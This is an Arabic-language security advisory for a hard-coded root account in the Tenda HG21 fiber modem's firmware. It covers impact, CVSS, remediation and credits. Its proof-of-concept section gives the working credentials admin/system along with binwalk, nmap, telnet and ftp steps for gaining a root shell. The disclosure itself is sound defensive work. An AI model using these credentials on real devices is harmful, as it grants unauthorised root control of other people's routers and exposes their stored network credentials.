CVE-2026-38577 — بيانات اعتماد الجذر الثابتة في Tenda HG21

الملخص

الوصف

كشف تحليل البرنامج الثابت لمودم Tenda HG21 XPON للألياف عن حساب إداري ثابت مدمج في صورة البرنامج الثابت المشحونة. يُمنح الحساب صلاحيات جذر كاملة (UID 0) وبيانات اعتماده ثابتة عبر جميع الأجهزة، مما يعني أن أي مهاجم يمكنه الوصول إلى خدمة إدارة مكشوفة على جهاز ضعيف يمكنه المصادقة كجذر دون الحاجة إلى معرفة كلمة مرور واجهة الويب التي يحددها العميل.

أين تم العثور عليه

• /etc/passwd في البرنامج الثابت المستخرج يشحن إدخال admin مع تجزئة كلمة مرور SHA256crypt تتطابق مع القيمة الثابتة system.
• UID الخاص بالحساب هو 0 — أي أنه هو الجذر، وليس حساب خدمة مقيدًا.
• لا يوجد /etc/shadow، لذا فإن التجزئة الضعيفة/الثابتة في passwd هي البوابة الوحيدة التي تحمي الحساب.
• /etc/inetd.conf يشغّل telnetd وftpd، وكلاهما يُطلق كجذر، لذا فإن الحساب الثابت قابل للوصول عبر الشبكة، وليس فقط عبر وحدة تحكم تسلسلية/UART.
• يتم تقديم واجهة إدارة الويب عبر HTTP عادي فقط (بدون TLS)، وهو فجوة تحصين ثانوية لكنه ليس في حد ذاته CVE.

التأثير

يمكن للمهاجم الذي لديه وصول شبكي إلى خدمة telnet (TCP/23) أو FTP (TCP/21) على جهاز ضعيف تسجيل الدخول كـ admin باستخدام كلمة المرور الثابتة والحصول على قشرة جذر / وصول ملفات بمستوى الجذر. وهذا يسمح، على الأقل، بـ:

• تنفيذ التعليمات البرمجية — قشرة جذر عبر telnet.
• تصعيد الامتيازات — لا يوجد حد للامتيازات؛ الحساب يبدأ كجذر.
• كشف المعلومات — وصول كامل لنظام الملفات/الإعدادات، بما في ذلك أي بيانات اعتماد شبكة للعميل مخزنة على الجهاز.

متجهات CVSS من التقديم الأصلي (قد يختلف تقييم البائع بمجرد النشر):

• متجه الهجوم: شبكة
• الامتيازات المطلوبة: لا شيء (بيانات الاعتماد ثابتة/معروفة)
• تفاعل المستخدم: لا شيء
• السرية / النزاهة / التوفر: عالية / عالية / عالية

إثبات المفهوم

هذا إثبات مفهوم قائم على بيانات الاعتماد — يوضح أن الحساب الثابت يُصادق ويمنح صلاحيات الجذر، وليس استغلالًا لفساد الذاكرة. شغّل هذا فقط ضد جهاز تملكه أو مصرح لك باختباره صراحةً.

1. تأكيد وجود بيانات الاعتماد في البرنامج الثابت

# استخراج البرنامج الثابت (binwalk أو أداة البائع التي تختارها)
binwalk -e US_HG21re_300002982_en_xpon_2.bin

# تحديد وفحص ملف passwd
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-hash-of-"system">:0:0:root:/root:/bin/sh

2. تأكيد أن الخدمة قابلة للوصول

nmap -p 21,23 <target-ip>

3. المصادقة باستخدام الحساب الثابت

telnet <target-ip>
# login: admin
# password: system

ftp <target-ip>
# Name: admin
# Password: system

تسجيل الدخول الناجح على أي من الخدمتين يعيد قشرة/جلسة FTP بصلاحيات جذر (سيُبلغ id عن uid=0(root)).

المعالجة

• يجب على البائع إزالة حساب admin/system الثابت بالكامل، أو على الأقل فرض كلمة مرور عشوائية فريدة لكل جهاز تُعيّن عند أول تشغيل (غير قابلة للاشتقاق من الرقم التسلسلي وحده).
• تعطيل telnetd/ftpd افتراضيًا؛ وطلب اشتراك صريح وقناة مشفرة ومصادقة (SSH/SFTP) للإدارة عن بُعد.
• تقديم واجهة الإدارة عبر HTTPS فقط.
• تدوير بيانات الاعتماد الثابتة في أي أجهزة منشورة بالفعل عبر تحديث برنامج ثابت إلزامي، وفرض إعادة تعيين كلمة المرور عند التحديث.

الجدول الزمني

الاعتمادات

اكتُشفت وأُبلغ عنها بواسطة:

• Anmol Singh Rajput — LinkedIn
• Deepak G — LinkedIn

المراجع

• https://www.tenda.com.cn
• https://cwe.mitre.org/data/definitions/798.html